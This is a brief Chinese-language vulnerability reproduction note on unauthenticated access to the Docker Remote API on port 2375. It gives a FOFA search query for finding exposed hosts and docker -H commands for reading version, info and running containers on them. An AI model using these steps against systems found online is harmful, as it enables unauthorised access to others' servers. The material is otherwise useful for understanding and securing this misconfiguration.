Docker Remote API未授权访问漏洞复现
一、漏洞信息
Docker Remote API如配置不当可导致未授权访问，被攻击者恶意利⽤。攻击者⽆需认证即可访问到Docker数据，可能导致敏感信息泄露，⿊客也可以删除 Docker上的数据,直接访问宿主机上的敏感 信息，或对敏感⽂件进⾏修改，最终完全控制服务器。
二、漏洞复现
1.使用以下fofa语句对docker产品进行搜索：
port="2375"2.在搜索的结果网站后访问以下路径
http://ip:2375/version #查看版本信息
http://ip:2375/info #查看容器信息
3.可以使用-H参数连接目标主机的docker
docker -H tcp://ip:2375 ps #查看目标主机运行的镜像
docker -H tcp://ip:2375 version #查看目标主机的版本信息
docker -H tcp://ip:2375 info #查看目标主机的容器信息